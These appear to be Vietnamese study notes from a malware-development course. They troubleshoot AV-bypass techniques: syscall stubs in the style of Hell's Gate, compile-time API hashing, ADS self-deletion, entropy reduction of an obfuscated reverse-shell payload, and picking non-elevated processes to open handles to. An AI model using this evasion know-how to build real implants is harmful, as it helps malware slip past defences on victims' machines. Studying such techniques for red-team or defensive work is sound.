Introduction
Sau đây là các vấn đề gặp phải trong quá trình triển khai các kỹ thuật MalDev đã học để bypass các AV engine.
Compile-Time Hashing
Như đã đề cập ở trong Compile Time API Hashing, keyword constexpr
là của C++ nên file mã nguồn chứa nó hoặc sử dụng nó cần phải có extension là .cpp
(nếu định nghĩa trong file header có đuôi là .h
thì vẫn được).
Nếu một hàm được đánh dấu là constexpr
thì tất cả các hàm khác mà hàm đó gọi tới đều cũng phải được đánh dấu là constexpr
. Ví dụ, đoạn code sau sẽ không biên dịch được do StringLength
không được đánh dấu là constexpr
:
SIZE_T StringLength(const char* String)
{
const char* String2 = String;
for (; *String2; ++String2);
return (String2 - String);
}
constexpr UINT32 HashStringRotr32Sub(UINT32 Value, UINT Count)
{
DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}
constexpr INT HashStringRotr32(const char* String)
{
INT Value = g_KEY;
for (INT Index = 0; Index < StringLength(String); Index++)
Value = String[Index] + HashStringRotr32Sub(Value, INITIAL_SEED);
return Value;
}
Hell’s Gate with Compile-Time Hashing
Hell’s Gate1 không thể được sử dụng với Compile-Time Hashing (yêu cầu sử dụng C++) do cơ chế gọi hàm của C khác với của C++ và ta không thể dùng một hàm HellDescent
để gọi nhiều syscalls.
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall ; `wSystemCall` is the SSN of the syscall to call
syscall
ret
HellDescent ENDP
Cụ thể hơn, C++ sử dụng cơ chế có tên là name mangling nhằm hỗ trợ tính năng function overloading. Ví dụ, hàm foo(int)
sẽ có mangled name là _Z3fooi
dùng để phân biệt với các hàm cùng tên nhưng khác tham số chẳng hạn như foo(char)
. Trong khi đó, C không sử dụng name mangling và mỗi hàm phải có một tên duy nhất. Đây chính là lý do mà ta không thể sử dụng function overload cho hàm HellDescent
.
Conflicted Object Files
Nếu tạo hai file HellsGate.c
và HellsGate.asm
, có thể gặp các lỗi sau:
Lý do có thể là vì hai file này đều cùng được biên dịch thành HellsGate.o
và điều này có thể dẫn đến xung đột.
Mismatched Data Types in Comparison
Khi tính giá trị hash của tên hàm để so sánh với predefined hash trong quá trình tìm SSN, chúng ta sử dụng RTIME_HASH
:
if (RTIME_HASH(pczFunctionName) == pVxTableEntry->dwHash) {
}
Tuy nhiên, có sự không thống nhất giữa kiểu dữ liệu của 2 toán hạng trong phép so sánh. Cụ thể, giá trị trả về từ RTIME_HASH
hay của HashStringRotr32
có kiểu là INT
, số nguyên có dấu:
INT HashStringRotr32(LPCSTR String)
{
INT Value = 0;
for (INT Index = 0; Index < StringLengthA(String); Index++)
Value = String[Index] + HashStringRotr32SubA(Value, 7);
return Value;
}
Trong khi đó, kiểu của dwHash
là DWORD64
:
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
Với DWORD64
là alias của unsigned long long
, một kiểu số nguyên không dấu.
Do có kiểu là Int
, giá trị trả về từ HashStringRotr32
có thể là số âm do overflow. Ví dụ, ta có các giá trị hash được biểu diễn ở dạng hex như sau:
#define NtCreateSectionHashValue 0xAC2EDA02
#define NtMapViewOfSectionHashValue 0x92DD00B3
#define NtUnmapViewOfSectionHashValue 0x12D71086
#define NtCloseHashValue 0x7B3F64A4
#define NtCreateThreadExHashValue 0x93EC9D3D
#define NtWaitForSingleObjectHashValue 0xC6F6AFCD
Tuy nhiên, giá trị INT
của chúng là:
[i] NtCreateSectionHashValue: -1406215678
[i] NtMapViewOfSectionHashValue: -1831010125
[i] NtUnmapViewOfSectionHashValueh: 316084358
[i] NtCloseHashValue: 2067752100
[i] NtCreateThreadExHashValue: -1813209795
[i] NtWaitForSingleObjectHashValue: -956911667
Dẫn đến, giá trị tính được từ HashStringRotr32
sẽ không bao giờ bằng với giá trị của dwHash
. Lý do là vì, khi so sánh int
với unsigned long long
, giá trị kiểu int
sẽ được ép kiểu về unsigned long long
. Khi bị ép kiểu, giá trị âm sẽ trở thành một giá trị rất lớn.
Lấy giá trị số nguyên của NtCreateSection
làm ví dụ, số -1406215678
khi bị ép kiểu thành unsigned long long
sẽ trở thành 18446744072303335938
. Điều này dẫn đến, -1406215678
sẽ trở nên “lớn hơn” số nguyên ở dạng không dấu của nó (2888751618
), mặc dù cả 2 đều có cùng giá trị nhị phân lưu trong vùng nhớ:
Ta có thể kiểm tra điều này bằng chương trình sau:
int main() {
int a = -1406215678;
unsigned __int64 b = 2888751618;
if (a < b) {
printf("a is less than b\n");
}
else if (a > b) {
printf("a is not less than b\n");
}
else {
printf("a is equal to b\n");
}
return 0;
}
Output:
a is not less than b
Thật vậy, khi disassembly, ta thấy rõ ràng rằng giá trị nhị phân lưu trong vùng nhớ của a
và b
là giống nhau:
int a = -1406215678;
00007FF7A7A41B98 mov dword ptr [a],0AC2EDA02h
unsigned __int64 b = 2888751618;
00007FF7A7A41B9F mov eax,0AC2EDA02h
00007FF7A7A41BA4 mov qword ptr [b],rax
Do kết quả so sánh không được thỏa mãn, các SSN của các syscall không thể được tìm thấy. Để khắc phục, ta thay đổi kiểu trả về của HashStringRotr32
thành UINT32
hoặc ép kiểu kết quả trả về từ RTIME_HASH
:
if ((UINT32)(RTIME_HASH(pczFunctionName)) == pVxTableEntry->dwHash) {
}
Write to Resource Memory
Khi xóa buffer chứa payload ở trong vùng nhớ của resource thông qua hàm ZeroMemoryEx
:
VOID ZeroMemoryEx(IN OUT PVOID Destination, IN SIZE_T Size)
{
PULONG Dest = (PULONG)Destination;
SIZE_T Count = Size / sizeof(ULONG);
while (Count > 0)
{
*Dest = 0;
Dest++;
Count--;
}
return;
}
Thì chương trình quăng exception ở dòng *Dest = 0;
như sau:
Exception thrown: write access violation.
**Dest** was 0x7FF618B761C0.
Lý do là vì ta không thể ghi vào vùng resource, như đã được đề cập ở [[MalDev - Payload Placement#embedding-payloads-in-rsrc|Embedding Payloads in .rsrc
]].
Re-Defined Global Variables
Khi khởi tạo biến g_SyscallsTable
ở trong một file header, chẳng hạn như HellsGate.h
:
VX_TABLE g_SyscallsTable = { 0 };
Sau đó, include header này vào nhiều file mã nguồn, ta sẽ gặp lỗi khai báo biến nhiều lần.
Để giải quyết vấn đề này, ta chỉ khai báo biến ở trong HellsGate.h
:
extern VX_TABLE g_SyscallsTable;
Và khởi tạo nó ở trong một trong số các file mã nguồn.
Buffer Overun
Khi cấp phát vùng nhớ bằng HeapAlloc
, ta cần truyền vào tham số thứ 3 là số lượng byte cần cấp phát. Tuy nhiên, mỗi wide character (hay Unicode character) chiếm 2 bytes, nên ta cần nhân số lượng này với kích thước của WCHAR
:
filePathBuffer = (LPWSTR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
filePathBufferSize * sizeof(WCHAR)
);
Nếu không, Visual Studio sẽ cảnh báo về buffer overrun do nó thấy rằng dữ liệu được ghi vào buffer có thể vượt ra bên ngoài kích thước của buffer (Visual Studio không biết được GetModuleFileNameW
sẽ ghi bao nhiêu byte nên không quăng lỗi):
if (!GetModuleFileNameW(NULL, filePathBuffer, filePathBufferSize)) {
printf("[!] GetModuleFileNameW Failed With Error: 0x%0.8X \n", GetLastError());
HeapFree(GetProcessHeap(), 0, filePathBuffer);
return FALSE;
}
Alternate Data Stream Name Format
Như đã đề cập ở Renaming The Data Stream, tên của data stream mới cần bắt đầu bằng ký tự :
.
Nếu không, lời gọi đến hàm SetFileInformationByHandle
sẽ thất bại:
[!] SetFileInformationByHandle [R] Failed With Error: 0x000000B7
Định nghĩa của error code 0xB7
:
Cite
ERROR_ALREADY_EXISTS
183 (0xB7)
Cannot create a file when that file already exists.
Failed to Self-Delete in Windows 11 24H2
Mặc dù có thể thực hiện self-delete ở trong môi trường máy ảo của MalDevAcademy (phiên bản 10.0.19044 Build 19044
) nhưng không thể tái hiện lại ở môi trường Windows 11 24H2. Khi thực thi, mặc dù tên của alternate data stream đã bị thay đổi nhưng file không bị xóa:
Get-Item -Path .\BypassingAvs.exe -Stream *
PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\maruc\Workspaces\maldev-projects\BypassingAVs\x64\Debug\BypassingAvs.
exe::$DATA
PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\maruc\Workspaces\maldev-projects\BypassingAVs\x64\Debug
PSChildName : BypassingAvs.exe::$DATA
PSDrive : C
PSProvider : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName : C:\Users\maruc\Workspaces\maldev-projects\BypassingAVs\x64\Debug\BypassingAvs.exe
Stream : :$DATA
Length : 0
PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\maruc\Workspaces\maldev-projects\BypassingAVs\x64\Debug\BypassingAvs.
exe:DummyStream
PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\maruc\Workspaces\maldev-projects\BypassingAVs\x64\Debug
PSChildName : BypassingAvs.exe:DummyStream
PSDrive : C
PSProvider : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName : C:\Users\maruc\Workspaces\maldev-projects\BypassingAVs\x64\Debug\BypassingAvs.exe
Stream : DummyStream
Length : 78848
Seealso
Confusing Return Values of Windows APIs and Native APIs
Nếu Windows API thực thi thành công thì nó sẽ trả về giá trị khác 0
.
Trong khi đó, Native API thực thi thành công sẽ trả về giá trị bằng 0
(STATUS_SUCCESS
).
Điều này có thể gây ra nhầm lẫn khi xử lý kết quả trả về của các hàm.
SystemFunction032
API Hashing Error
Một số DLL thực hiện forwarded declaration cho các hàm được import vào từ các DLL khác.
Khi lấy địa chỉ của hàm thông qua một hàm custom GetProcAddress
2 mà có sử dụng API Hashing, ta có thể gặp lỗi sau:
Mặc dù địa chỉ của hàm ở trong DLL là chính xác, nhưng nội dung ở địa chỉ này không phải là thân hàm thực sự chứa code cần thực thi.
Để giải quyết, ta cần tìm địa chỉ của hàm ở trong DLL mà có chứa thân hàm thực sự của nó.
Info
Lý do mà
GetProcAddress
của Windows không xảy ra vấn đề này là vì nó có thực hiện một số logic thêm để tìm địa chỉ của hàm trong trường hợp hàm được import vào từ các DLL khác.
Unresolved External Symbol _fltused
Xảy ra khi loại bỏ CRT library khỏi quá trình biên dịch3.
Fix lỗi này bằng cách thêm đoạn sau vào file .c
hoặc .cpp
:
#ifdef _MSC_VER
extern int _fltused;
__declspec(selectany) int _fltused = 1;
#endif
Seealso
Define Empty Debug Functions
Trong trường hợp macro DEBUG
không được bật, ta có thể định nghĩa các macro dùng cho việc debug là các macro rỗng để sửa lỗi “unresolved external symbol”:
#ifdef DEBUG
// wprintf replacement
#define PRINTW( STR, ... ) \
if (1) { \
LPWSTR buf = (LPWSTR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 ); \
if ( buf != NULL ) { \
int len = wsprintfW( buf, STR, __VA_ARGS__ ); \
WriteConsoleW( GetStdHandle( STD_OUTPUT_HANDLE ), buf, len, NULL, NULL ); \
HeapFree( GetProcessHeap(), 0, buf ); \
} \
}
// printf replacement
#define PRINTA( STR, ... ) \
if (1) { \
LPSTR buf = (LPSTR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 ); \
if ( buf != NULL ) { \
int len = wsprintfA( buf, STR, __VA_ARGS__ ); \
WriteConsoleA( GetStdHandle( STD_OUTPUT_HANDLE ), buf, len, NULL, NULL ); \
HeapFree( GetProcessHeap(), 0, buf ); \
} \
}
// getchar replacement
#define GETCHAR() do { \
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE); \
INPUT_RECORD ir; \
DWORD read; \
while (1) { \
ReadConsoleInput(hStdin, &ir, 1, &read); \
if (ir.EventType == KEY_EVENT && ir.Event.KeyEvent.bKeyDown) { \
break; \
} \
} \
} while (0)
#define PRINTW( STR, ... )
#define PRINTA( STR, ... )
#define GETCHAR()
#endif
Khi build ở chế độ Release, các hàm debug này mặc dù được gọi nhưng sẽ không làm gì. Điều này giúp loại bỏ sự lặp lại của việc kiểm tra macro DEBUG
trước khi gọi một hàm dùng cho việc debug.
EntropyReducer
EntropyReducer không phải là một công cụ mà nó chỉ là một thư viện nên ta sẽ cần phải thêm vào project của mình.
Các bước sử dụng EntropyReducer:
-
Thêm project
EntropyReducer
có trong repo vào solution. -
Chạy project vừa thêm với file đầu vào là payload đã được mã hóa bởi MiniShell4. Kết quả đầu ra là một file cùng tên nhưng với đuôi là
.ER
chẳng hạn nhưpayload.ico.ER
. -
Trong thời gian ban đầu của quá trình phát triển, payload được lưu ở trong vùng
.rsrc
của file thực thi5. Do đó. ta cần mởResource.rc
với text editor và chỉnh đường dẫn của resource từpayload.ico
thànhpayload.ico.ER
.///////////////////////////////////////////////////////////////////////////// // // RCDATA // IDR_RCDATA1 RCDATA "reverse.obfuscated.bin" #endif // English (United States) resources /////////////////////////////////////////////////////////////////////////////
-
Thêm file
EntropyReducer.c
và fileEntropyReducer.h
vào project chính. -
Để deobfuscate payload, ta sẽ gọi hàm
Deobfuscate
có trong fileEntropyReducer.c
:// Deobfuscating the payload PRINTA("[#] Press <Enter> To Deobfuscate The Payload ... \n"); GETCHAR(); SIZE_T DeobfuscatedPayloadSize = NULL; PBYTE DeobfuscatedPayloadBuffer = NULL; PRINTA("[i] Deobfuscating\" ... "); if (!Deobfuscate(pAllocatedAddress, sPayloadSize, &DeobfuscatedPayloadBuffer, &DeobfuscatedPayloadSize)) { return -1; } PRINTA("\t>>> Deobfuscated Payload Size : %ld \n\t>>> Deobfuscated Payload Located At : 0x%p \n", (DWORD)DeobfuscatedPayloadSize, DeobfuscatedPayloadBuffer);
Change Initial Shellcode
Shellcode được mã hóa và obfuscate nên ta cần phải thực hiện tương tự cho shellcode mới. Cụ thể, ta cần thực hiện các bước sau:
- Mã hóa với MiniShell.
- Sử dụng KeyGuard để tạo ra key được bảo vệ.
- Obfuscate và giảm entropy với EntropyReducer.
API Hashing for InitializeProcThreadAttributeList
, UpdateProcThreadAttribute
and DeleteProcThreadAttributeList
Khi sử dụng API hashing cho các hàm InitializeProcThreadAttributeList
, UpdateProcThreadAttribute
và DeleteProcThreadAttributeList
, ta cũng gặp vấn đề về Forwarded Declaration giống với [[#systemfunction032-api-hashing-error|SystemFunction032
API Hashing Error]].
Ví dụ về InitializeProcThreadAttributeList
:
Mặc dù địa chỉ tìm thấy là đúng nhưng nó không phải là vùng nhớ chứa code có thể thực thi:
Địa chỉ thực sự của hàm InitializeProcThreadAttributeList
nằm trong kernelbase.dll
:
Find Non-Elevated Process
Khi duyệt qua danh sách các tiến trình6, có khả năng sẽ có nhiều tiến trình bị trùng tên chẳng hạn như tiến trình svchost.exe
. Do malware đang chạy với quyền của người dùng bình thường, việc lấy handle đến tiến trình có đặc quyền sẽ gây ra lỗi.
Để lấy handle của tiến trình không có đặc quyền, ta phải kiểm tra token của các tiến trình, thực hiện như sau:
Đầu tiên, lấy handle đến token của tiến trình:
HANDLE hToken = NULL;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
return FALSE; // Assume not elevated if we can't open the token
}
Nguyên mẫu của hàm OpenProcessToken
:
BOOL OpenProcessToken(
[in] HANDLE ProcessHandle,
[in] DWORD DesiredAccess,
[out] PHANDLE TokenHandle
);
Với ProcessHandle
là handle đến tiến trình cần kiểm tra, DesiredAccess
là quyền truy cập cần thiết để mở token (ở đây là TOKEN_QUERY
) và TokenHandle
là con trỏ đến của handle đến token.
Sau đó, lấy thông tin về đặc quyền của token:
TOKEN_ELEVATION elevation = { 0 };
DWORD dwSize = 0;
if (!GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
PRINTA("[!] GetTokenInformation Failed With Error : 0x%0.8X \n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
Nguyên mẫu của hàm GetTokenInformation
:
BOOL GetTokenInformation(
[in] HANDLE TokenHandle,
[in] TOKEN_INFORMATION_CLASS TokenInformationClass,
[out, optional] LPVOID TokenInformation,
[in] DWORD TokenInformationLength,
[out] PDWORD ReturnLength
);
Với:
-
TokenInformationClass
là một flag dùng để chỉ định thông tin mà ta cần lấy. Để biết tiến trình có đặc quyền hay không, ta sẽ sử dụng flagTokenElevation
. Danh sách tất cả các giá trị xem ở đây. -
TokenInformation
là cấu trúc/buffer chứa thông tin truy vấn được. Kiểu dữ liệu của nó sẽ tùy thuộc vào giá trị củaTokenInformationClass
. Ví dụ, khi sử dụng flagTokenElevation
, ta sẽ cần dùng cấu trúcTOKEN_ELEVATION
có định nghĩa như sau:typedef struct _TOKEN_ELEVATION { DWORD TokenIsElevated; } TOKEN_ELEVATION, *PTOKEN_ELEVATION;
-
TokenInformationLength
là kích thước củaTokenInformation
tính bằng byte. -
ReturnLength
là con trỏ đến một số nguyên chứa kích thước tối thiểu của thông tin trả về mà buffer cần phải có. Nếu buffer không đủ lớn,GetTokenInformation
sẽ không ghi dữ liệu vào buffer và trả vềFALSE
.
Cuối cùng, để biết tiến trình có đặc quyền hay không, ta sẽ kiểm tra giá trị của TokenIsElevated
trong cấu trúc TOKEN_ELEVATION
.
Resources
Footnotes
-
xem thêm Hell’s Gate ↩
-
xem thêm [[MalDev - IAT & Obfuscation#custom-getprocaddress|Custom
GetProcAddress
]] ↩ -
xem thêm CRT Library Removal & Malware Compiling ↩
-
xem thêm [[MalDev - Payload Placement#rsrc-section|
.rsrc
Section]] ↩ -
xem thêm MalDev - Remote Payload Execution và Process Enumeration ↩